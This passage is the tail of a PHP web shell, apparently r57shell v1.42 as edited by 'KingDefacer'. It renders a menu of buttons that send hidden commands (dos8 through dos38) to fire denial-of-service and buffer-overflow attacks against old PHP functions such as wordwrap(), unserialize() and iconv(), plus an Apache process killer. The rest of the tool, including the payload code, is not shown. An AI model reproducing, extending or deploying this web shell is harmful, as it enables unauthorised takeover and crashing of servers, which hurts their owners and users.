7679echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
7680
7681echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
7682
7683echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
7684
7685echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
7686
7687echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
7688
7689echo $te."</td><td valign=top width=25%>".$ts;
7690
7691echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7692
7693echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
7694
7695echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
7696
7697echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
7698
7699echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
7700
7701echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
7702
7703echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
7704
7705echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
7706
7707echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
7708
7709echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
7710
7711echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
7712
7713echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
7714
7715echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
7716
7717echo $te."</td><td valign=top width=25%>".$ts;
7718
7719echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7720
7721echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
7722
7723echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
7724
7725echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
7726
7727echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
7728
7729echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
7730
7731echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
7732
7733echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
7734
7735echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
7736
7737echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
7738
7739echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
7740
7741echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
7742
7743echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
7744
7745echo $te."</td><td valign=top width=25%>".$ts;
7746
7747echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7748
7749echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
7750
7751echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
7752
7753/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
7754
7755echo $te."</td></tr></div></table>";
7756
7757echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://www.c99php.com/>r57shell v.1.42 Edited By KingDefacer</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>";
7758
7759echo '</body></html>';
7760
7761?>